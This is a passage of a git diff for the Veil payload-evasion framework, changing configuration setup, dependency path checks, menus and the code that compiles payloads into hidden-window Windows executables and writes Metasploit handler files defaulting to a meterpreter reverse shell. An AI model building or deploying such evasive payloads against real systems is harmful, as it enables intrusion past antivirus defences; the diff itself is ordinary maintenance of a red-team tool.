compiled path if it doesn't exist if not os.path.exists( handler_path ): os.makedirs( handler_path ) - print " [I] Path Created: '" + handler_path - - # Create the catapult resource path if it doesn't exist - if not os.path.exists( catapult_resource_path ): - os.makedirs( catapult_resource_path ) - print " [I] Path Created: '" + catapult_resource_path + print( " [I] Path Created: '" + handler_path ) # Create the output source path if it doesn't exist - if not os.path.exists(source_path): - os.makedirs(source_path) - print " [I] Path Created: '" + source_path + if not os.path.exists( source_path ): + os.makedirs( source_path ) + print( " [I] Path Created: '" + source_path ) # Create the output compiled path if it doesn't exist if not os.path.exists( compiled_path ): os.makedirs( compiled_path ) - print " [I] Path Created: '" + compiled_path + print( " [I] Path Created: '" + compiled_path ) # Save config if platform.system() == "Linux": # create the output compiled path if it doesn't exist - if not os.path.exists("/etc/veil/"): - # os.makedirs("/etc/veil/") - os.system("sudo mkdir /etc/veil/") - os.system("sudo touch /etc/veil/settings.py") - os.system("sudo chmod 0755 /etc/veil/settings.py") - print " [I] Path '/etc/veil/' Created" - f = open("/etc/veil/settings.py", 'w') - f.write(config) + if not os.path.exists( "/etc/veil/" ): + os.makedirs( "/etc/veil/" ) + print( " [I] Path '/etc/veil/' Created" ) + f = open( "/etc/veil/settings.py", 'w' ) + f.write( config ) f.close() - print " [I] Configuration File Written To: '/etc/veil/settings.py'\n" + os.chmod( "/etc/veil/settings.py", 0o0755 ) + print( " [I] Configuration File Written To: '/etc/veil/settings.py'\n" ) else: - print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" + print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() @@ -187,60 +163,96 @@ def generateConfig(options): options = {} + # Check for root access + if os.geteuid() != 0: + print( "\n [!] ERROR: Not root. Requesting...\n" ) + os.execvp( "sudo", ["sudo"] + ["python"] + sys.argv ) + sys.exit() + if platform.system() == "Linux": # Check /etc/issue for the exact linux distro - issue = open("/etc/issue").read() + issue = open( "/etc/issue" ).read() + + # General options + options["METASPLOIT_PATH"] = "/opt/metasploit-framework/embedded/framework/" + options["MSFVENOM_OPTIONS"] = "" + options["MSFVENOM_PATH"] = "/usr/local/bin/" + options["OPERATING_SYSTEM"] = "Linux" + options["PYINSTALLER_PATH"] = "/var/lib/veil/PyInstaller-3.2.1/" # via /config/setup.sh + options["GOLANG_PATH"] = "/var/lib/veil/go/" # via /config/setup.sh + options["TEMP_PATH"] = "/tmp/" + options["TERMINAL_CLEAR"] = "clear" + options["WINEPREFIX"] = "/var/lib/veil/wine/" + VEIL_PATH = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" + options["VEIL_PATH"] = VEIL_PATH + + # Veil-Evasion specific options + options["HANDLER_PATH"] = "/var/lib/veil/output/handlers/" + options["HASH_LIST"] = "/var/lib/veil/output/hashes.txt" + options["PAYLOAD_COMPILED_PATH"] = "/var/lib/veil/output/compiled/" + options["PAYLOAD_SOURCE_PATH"] = "/var/lib/veil/output/source/" # Kali - if issue.startswith("Kali"): + if issue.startswith( "Kali" ): options["OPERATING_SYSTEM"] = "Kali" options["METASPLOIT_PATH"] = "/usr/share/metasploit-framework/" - if os.path.isfile('/usr/bin/msfvenom'): - options["MSFVENOM_PATH"] = "/usr/bin/" - else: - msfpath = raw_input(" [>] Please enter the path to msfvenom: ") - options["MSFVENOM_PATH"] = msfpath - # Backtrack - elif issue.startswith("BackTrack"): + options["MSFVENOM_PATH"] = "/usr/bin/" + options["TERMINAL_CLEAR"] = "false" + # BackTrack + elif issue.startswith( "BackTrack" ): options["OPERATING_SYSTEM"] = "BackTrack" options["METASPLOIT_PATH"] = "/opt/metasploit/msf3/" - if os.path.isfile('/opt/metasploit/msf3/msfvenom'): - options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" - else: - msfpath = raw_input(" [>] Please enter the path to msfvenom: ") - options["MSFVENOM_PATH"] = msfpath - # ...everything else (Linux) - else: - options["OPERATING_SYSTEM"] = "Linux" - msfpath = raw_input(" [>] Please enter the path of your metasploit installation: ") - options["METASPLOIT_PATH"] = msfpath - options["MSFVENOM_PATH"] = msfpath - - # Last of the general options - options["TERMINAL_CLEAR"] = "clear" - options["PYINSTALLER_PATH"] = "/opt/veil/PyInstaller-3.2.1/" - options["TEMP_DIR"] = "/tmp/" - options["MSFVENOM_OPTIONS"] = "" - options["WINEPREFIX"] = "/opt/veil/wine/veil/" - - # Veil-Evasion specific options - veil_evasion_path = "/".join(os.getcwd().split("/")[:-1]) + "/" - options["VEIL_EVASION_PATH"] = veil_evasion_path - options["PAYLOAD_SOURCE_PATH"] = "/opt/veil/output/source/" - options["PAYLOAD_COMPILED_PATH"] = "/opt/veil/output/compiled/" - options["GENERATE_HANDLER_SCRIPT"] = "True" - options["HANDLER_PATH"] = "/opt/veil/output/handlers/" - options["HASH_LIST"] = "/opt/veil/output/hashes.txt" - - # Veil-Catapult specific options - veil_catapult_path = "/".join(os.getcwd().split("/")[:-2]) + "/Veil-Catapult/" - options["VEIL_CATAPULT_PATH"] = veil_catapult_path - options["CATAPULT_RESOURCE_PATH"] = "/opt/veil/output/catapult/" - + options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" + + # Check the paths are correct (WINEPREFIX) + while not os.path.isdir( options["TEMP_PATH"] ): + path = input( " [>] Please enter the directory of your system's temp path (e.g. /tmp/): " ) + path = str(path) + options["TEMP_PATH"] = path + + # Check the paths are correct (METASPLOIT_PATH) + while not os.path.isdir( options["METASPLOIT_PATH"] ): + path = input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) + path = str(path) + options["METASPLOIT_PATH"] = path + + # Check the paths are correct (MSFVENOM_PATH) + while not os.path.isfile( options["MSFVENOM_PATH"] + "/msfvenom" ): + path = input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) + path = str(path) + options["MSFVENOM_PATH"] = path + + # Check the paths are correct (VEIL_PATH) + while not os.path.isdir( options["VEIL_PATH"] ): + print( "\n [i] Can't find Veil's path? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = str(path) + path = input( " [>] Please enter the directory to Veil (e.g. /opt/veil/): " ) + options["VEIL_PATH"] = path + + # Check the paths are correct (PYINSTALLER_PATH) + while not os.path.isdir( options["PYINSTALLER_PATH"] ): + print( "\n [i] Can't find PyInstaller? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + path = str(path) + options["PYINSTALLER_PATH"] = path + + # Check the paths are correct (WINEPREFIX) + while not os.path.isdir( options["WINEPREFIX"] ): + print( "\n [i] Can't find WINE profile? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of Veil's WINE profile (e.g. /var/lib/veil/wine/): " ) + path = str(path) + options["WINEPREFIX"] = path + + # Check the paths are correct (GOLANG_PATH) + while not os.path.isdir( options["GOLANG_PATH"] ): + print( "\n [i] Can't find GoLang? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) + path = str(path) + options["GOLANG_PATH"] = path # Unsupported platform... else: - print " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" + print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() - generateConfig(options) + generateConfig( options ) diff --git a/lib/common/completer.py b/lib/common/completer.py index f8d8ca1..bc7caa7 100644 --- a/lib/common/completer.py +++ b/lib/common/completer.py @@ -12,14 +12,13 @@ import os import sys -# try to find and import the settings.py config file -if os.path.exists("/etc/veil/settings.py"): - try: - sys.path.append("/etc/veil/") - import settings - except: - print("Error importing Veil Settings!") - sys.exit(1) +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-7: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() class none(object): @@ -194,7 +193,7 @@ def complete_set(self, args): options = [k for k in sorted(self.payload.required_options.keys())] - if args[0] != "": + if args[0] != '': if args[0].strip() == "LHOST": # autocomplete the IP for LHOST if settings.DISTRO == 'Debian': @@ -487,7 +486,7 @@ def complete_set(self, args): options = [k for k in sorted(self.payload.required_options.keys())] - if args[0] != "": + if args[0] != '': if args[0].strip() == "LHOST": if settings.DISTRO == 'Debian': ip_output = subprocess.getoutput("ip a").split("\n")[8][9:].split('/')[0] diff --git a/lib/common/helpers.py b/lib/common/helpers.py index ce2107c..02b2f07 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -14,9 +14,37 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() + +# See if ./config/setup.sh has been executed +if not os.path.exists( settings.GOLANG_PATH ): + print( "\n [!] ERROR #2-3: Can't find Go (%s). Run: %s --force --silent\n" % ( settings.GOLANG_PATH, os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.PYINSTALLER_PATH ): + print( "\n [!] ERROR #2-3: Can't find PyInstaller (%s). Run: %s --force --silent\n" % ( settings.PYINSTALLER_PATH, os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.METASPLOIT_PATH ): + print( "\n [!] ERROR #2-3: Can't find the Metasploit Framework (%s). Run: %s --force --silent\n" % ( settings.METASPLOIT_PATH, os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX, os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Python34/python.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for Python v3.4 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Python34/python.exe", os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe", os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() diff --git a/lib/common/messages.py b/lib/common/messages.py index 427b736..58d0505 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -6,14 +6,13 @@ import sys from lib.common import helpers -# try to find and import the settings.py config file -if os.path.exists("/etc/veil/settings.py"): - try: - sys.path.append("/etc/veil/") - import settings - except: - print("Error importing Veil Settings!") - sys.exit(1) +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-8: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() # Current version of Veil veil_version = "3.1.5" @@ -23,7 +22,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 29 + helpers.color('Veil', status=False, bold=True) + ' | [Version]: ' + veil_version) print('=' * 79) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index de31881..99a2fe6 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -16,9 +16,8 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() @@ -33,8 +32,9 @@ def __init__(self, cli_stuff): "list": "List available tools", "use": "Use a specific tool", "info": "Information on a specific tool", + "options": "Show Veil configuration", "update": "Update Veil", - "exit": "Exit Veil"} + "exit": "Completely exit Veil"} self.number_of_tools = len(self.imported_tools) self.command_line_options = cli_stuff @@ -46,15 +46,16 @@ def command_line_use(self): tool_object.cli_menu() tool_found = True if not tool_found: - print(helpers.color('Error: You did not provide a valid tool name!', warning=True)) - print(helpers.color('Quitting Veil...', warning=True)) + print(helpers.color(' [!] ERROR: You did not provide a valid tool name!', warning=True)) sys.exit() def list_tools(self, show_header = True): # Did we run a command? if show_header: # show title bar + print() messages.title_screen() + print() print(helpers.color(' [*] Available Tools:\n')) else: print("Available Tools:\n") @@ -81,14 +82,14 @@ def load_tools(self, command_line_object): def main_menu(self): # default blank command for the main menu loop - main_menu_command = '' + main_menu_command = "" show_header = True # Try except to catch keyboard interrupts try: # Loop for the main menu, will always loop as long as command is '' - while main_menu_command == '': + while True: comp = completer.VeilMainMenuCompleter(self.mainmenu_commands, self.imported_tools) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") @@ -104,22 +105,19 @@ def main_menu(self): for command in sorted(self.mainmenu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.mainmenu_commands[command]) print() + show_header = False - print() - main_menu_command = input('Main menu choice: ').strip() + main_menu_command = input('Veil>: ').strip() if main_menu_command.startswith('use'): - # Check to make sure a tool is provided with use command if len(main_menu_command.split()) == 1: # List tools, don't show header, loop back in main menu self.list_tools() show_header = False - main_menu_command = '' elif len(main_menu_command.split()) == 2: - # Grab the command, either the number or word tool_choice = main_menu_command.split()[1] @@ -131,10 +129,7 @@ def main_menu(self): # if the entered number matches the payload, use that payload if int(tool_choice) == tool_number: tool_object.tool_main_menu() - tool_number += 1 - show_header = True - else: - tool_number += 1 + tool_number += 1 show_header = True # Else if selecting payload by name @@ -146,28 +141,17 @@ def main_menu(self): show_header = True # Once done with tool, clear main menu command - main_menu_command = '' show_header = True - # Catch anything else, like an error - else: - main_menu_command = '' - elif main_menu_command.startswith('list'): - # List tools, don't show header, loop back in main menu self.list_tools() - show_header = False - main_menu_command = '' elif main_menu_command.startswith('info'): - if len(main_menu_command.split()) == 1: show_header = True - main_menu_command = '' elif len(main_menu_command.split()) == 2: - # Grab the command, either the number or word info_choice = main_menu_command.split()[1] @@ -181,7 +165,6 @@ def main_menu(self): print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() - show_header = False tool_number += 1 # If the entered name matches the tool, use that tool @@ -191,31 +174,39 @@ def main_menu(self): print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() - show_header = False - - main_menu_command = '' - else: - main_menu_command = '' show_header = True - elif main_menu_command.startswith('update'): + elif main_menu_command.startswith('option'): + self.options_veil() + + # Hidden menu option + elif main_menu_command.startswith('config'): + self.config_veil() + # Hidden menu option + elif main_menu_command.startswith('setup'): + self.setup_veil() + + elif main_menu_command.startswith('update'): self.update_veil() - main_menu_command = '' - elif main_menu_command.startswith('exit'): - print('\n' + helpers.color('Quitting Veil', warning=True) + '\n') + elif main_menu_command.startswith('exit') or main_menu_command.startswith('quit'): sys.exit() - else: - show_header = True - main_menu_command = '' - except KeyboardInterrupt: - print("\n\n" + helpers.color("Rage quit!", warning=True)) + print("\n\n" + helpers.color("^C. Quitting...", warning=True)) sys.exit() + # Show options + def options_veil(self): + print( " [i] Veil configuration file: /etc/veil/settings.py" ) + for i in dir(settings): + if i.startswith('_'): continue + print( " [i] {0}: {1}".format( i , exec( "print ( settings." + i + " )" ) ), end='', flush=True) + input( '\n\nOptions shown. Press enter to continue' ) + return + # Self update framework def update_veil(self): if settings.OPERATING_SYSTEM == "Kali": @@ -231,7 +222,7 @@ def setup_veil(self): if os.path.exists("/usr/share/veil/config/setup.sh"): os.system('/usr/share/veil/config/setup.sh -f -s') else: - print("\n [!] ERROR: Missing %s\n" % ("/usr/share/veil/config/setup.sh")) + print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/setup.sh")) os.system('./config/setup.sh -f -s') else: os.system('./config/setup.sh -f -s') @@ -244,7 +235,7 @@ def config_veil(self): if os.path.exists("/usr/share/veil/config/update-config.py"): os.system('cd /usr/share/veil/config/; ./update-config.py') else: - print("\n [!] ERROR: Missing %s\n" % ("/usr/share/veil/config/update-config.py")) + print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/update-config.py")) os.system('cd ./config/; ./update-config.py') else: os.system('cd ./config/; ./update-config.py') diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 48e658e..1d30486 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -16,9 +16,8 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() @@ -38,11 +37,11 @@ def compileToTemp(language, payloadSource): """ if language == "cs": - tempExeName = settings.TEMP_DIR + "temp.exe" - tempSourceName = settings.TEMP_DIR + "temp.cs" + tempExeName = settings.TEMP_PATH + "temp.exe" + tempSourceName = settings.TEMP_PATH + "temp.cs" # write out the payload source to the temporary location - with open(settings.TEMP_DIR + "temp.cs", 'w') as f: + with open(settings.TEMP_PATH + "temp.cs", 'w') as f: f.write(payloadSource) # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run @@ -115,11 +114,12 @@ def print_dict_message(commands, show_title=True): if show_title: title_screen() - print(" Available Commands:\n") + print(helpers.color(" Available Commands:\n")) # list commands in sorted order for (cmd, desc) in sorted(commands.items()): print("\t%s\t%s" % ('{0: <12}'.format(cmd), desc)) + print() return @@ -139,7 +139,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 35 + helpers.color('Veil-Evasion', status=False, bold=True)) print('=' * 79) diff --git a/tools/evasion/evasion_common/gamemaker.py b/tools/evasion/evasion_common/gamemaker.py index caf2dc9..caba2fe 100644 --- a/tools/evasion/evasion_common/gamemaker.py +++ b/tools/evasion/evasion_common/gamemaker.py @@ -11,7 +11,7 @@ def senecas_games(evasion_payload): # Start checks to determine language # Define original values of variables num_tabs_required = 0 - check_code = '' + check_code = "" if evasion_payload.language == 'python': if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 149e9cb..42f707f 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -13,9 +13,8 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() @@ -30,14 +29,14 @@ def compiler(payload_object, invoked=False, cli_object=None): if not invoked: # Determine the file name to use for output - file_name = input('Please enter the base name for output files (default is payload): ').strip() + file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) - file_name = input('Please enter the base name for output files (default is payload): ').strip() + file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() # If no base name, set it to be payload if file_name == '': @@ -56,7 +55,7 @@ def compiler(payload_object, invoked=False, cli_object=None): if payload_object.language == 'python': if not invoked: - compile_method = '' + compile_method = "" else: compile_method = cli_object.compiler # Check extension for war or normal python file @@ -65,15 +64,17 @@ def compiler(payload_object, invoked=False, cli_object=None): compile_method = 'py2exe' else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: + print() evasion_helpers.title_screen() + print() # if we have a linux distro, continue... # Determine if the user wants Pyinstaller, Pwnstaller, or Py2Exe. - print('\n [?] How would you like to create your payload executable?\n') + print(' [?] How would you like to create your payload executable?\n') print(' %s - Pyinstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - Py2Exe\n' % (helpers.color('2'))) user_compile_choice = input(" [>] Please enter the number of your choice: ") - if user_compile_choice == "1" or user_compile_choice == "": + if user_compile_choice == "1" or user_compile_choice == '': compile_method = "pyinstaller" elif user_compile_choice == "2": compile_method = "py2exe" @@ -103,7 +104,9 @@ def compiler(payload_object, invoked=False, cli_object=None): runme_file.write('rmdir /S /Q build\n') runme_file.write('rmdir /S /Q dist\n') + print() evasion_helpers.title_screen() + print() print_payload_information(payload_object) print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) @@ -112,7 +115,7 @@ def compiler(payload_object, invoked=False, cli_object=None): # Used for PyInstaller standard # copy the pyinstaller runw to maintain its integrity in the event # pwnstaller is added in for python3 - this will future proof it - runw_path = settings.VEIL_EVASION_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' + runw_path = settings.VEIL_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' os.system("cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe") # Validate python is installed in wine @@ -124,7 +127,9 @@ def compiler(payload_object, invoked=False, cli_object=None): random_key = evasion_helpers.randomString() os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) + print() evasion_helpers.title_screen() + print() if os.path.isfile('dist/' + file_name + ".exe"): os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) @@ -159,7 +164,9 @@ def compiler(payload_object, invoked=False, cli_object=None): if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -170,7 +177,9 @@ def compiler(payload_object, invoked=False, cli_object=None): print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'powershell': + print() evasion_helpers.title_screen() + print() print_payload_information(payload_object) print(" [*] PowerShell doesn't compile, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) @@ -191,7 +200,7 @@ def compiler(payload_object, invoked=False, cli_object=None): if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) - print(" [*] Exe file written to: " + helpers.color(path_here)) + print(" [*] Executable written to: " + helpers.color(path_here)) else: print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) @@ -203,9 +212,11 @@ def compiler(payload_object, invoked=False, cli_object=None): elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload - os.system('env GOROOT=/usr/local/go GOOS=windows GOARCH=386 /usr/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) + os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}'.format(settings.GOLANG_PATH, executable_filepath, source_code_filepath) ) + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -220,7 +231,9 @@ def compiler(payload_object, invoked=False, cli_object=None): # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -235,7 +248,9 @@ def compiler(payload_object, invoked=False, cli_object=None): # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -266,11 +281,12 @@ def compiler(payload_object, invoked=False, cli_object=None): handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) + if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): - print(" [*] Metasploit RC file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) + print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: - dummy = input('\nPlease press enter to continue >: ') + dummy = input('\nHit enter to continue...\n') # End of if statement checking to make sure payload_source_code is # not empty @@ -302,10 +318,10 @@ def find_file_name(payload_name, selected_payload_object): def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): - lhost_value = '' - lport_value = '' - rhost_value = '' - payload_used = '' + lhost_value = "" + lport_value = "" + rhost_value = "" + payload_used = "" skip_handler = False if selected_payobject.language != "native" and selected_payobject.extension != "war": @@ -379,15 +395,22 @@ def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_ elif rhost_value: handler_text += 'set RHOST ' + rhost_value + '\n' else: - print(helpers.color("\nError generating handler code, giving up on creating the .rc file\n", warning=True)) skip_handler = True handler_text += 'set LPORT ' + str(lport_value) + '\n' handler_text += 'set ExitOnSession false\n' - handler_text += 'exploit -j' + handler_text += 'exploit -j\n' + + # Check to see if there is something there already + try: + os.remove(settings.HANDLER_PATH + handler_name + '.rc') + except OSError: + pass if not skip_handler: with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: handler_out.write(handler_text) + else: + print(helpers.color("\nNo LHOST/RHOST value. Not going to create an .rc file\n", warning=True)) else: # we do nothing since no handler file is made for native payloads pass diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 7481f78..fdf4b2f 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -20,13 +20,12 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') +sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance') import tool as ordnance_import @@ -58,8 +57,8 @@ def __init__(self, cli_obj): self.ord_lport = None # Load cli options self.cli_options = cli_obj - self.payload_choice = '' - self.shellcode_options = '' + self.payload_choice = "" + self.shellcode_options = "" def Reset(self): """ @@ -183,14 +182,16 @@ def payload_selection_menu(self, showTitle=True): # print out the main title to reset the interface if showTitle: + print() evasion_helpers.title_screen() - print(' [?] Generate or supply custom shellcode?\n') + print() + print(helpers.color(" [?] Generate or supply custom shellcode?\n")) print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - MSFVenom' % (helpers.color('2'))) - print(' %s - custom shellcode string' % (helpers.color('3'))) - print(' %s - file with shellcode (\\x41\\x42..)' % (helpers.color('4'))) - print(' %s - binary file with shellcode\n' % helpers.color('5')) + print(' %s - Custom shellcode string' % (helpers.color('3'))) + print(' %s - File with shellcode (\\x41\\x42..)' % (helpers.color('4'))) + print(' %s - Binary file with shellcode\n' % helpers.color('5')) try: choice = self.required_options['SHELLCODE'][0].lower().strip() @@ -258,7 +259,7 @@ def payload_selection_menu(self, showTitle=True): print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None - binary_code = '' + binary_code = "" # Convert from binary to shellcode for byte in file_shellcode: binary_code += "\\x" + hex(byte)[2:].zfill(2) @@ -295,7 +296,7 @@ def menu(self): showMessage = True # if no generation method has been selected yet - if self.msfvenomCommand == "" and self.custom_shellcode == "": + if self.msfvenomCommand == '' and self.custom_shellcode == '': # show banner? if settings.TERMINAL_CLEAR != "false": @@ -335,7 +336,7 @@ def menu(self): except: selected_payload = input(' [>] Please enter metasploit payload: ').strip().lower() - if selected_payload == "": + if selected_payload == '': # default to reverse_tcp for the payload selected_payload = "windows/meterpreter/reverse_tcp" try: @@ -361,7 +362,7 @@ def menu(self): # request a value for each required option for option in options: value = "" - while value == "": + while value == '': ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP @@ -386,7 +387,7 @@ def menu(self): # do a IP validation check if not helpers.validate_ip(value): if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] 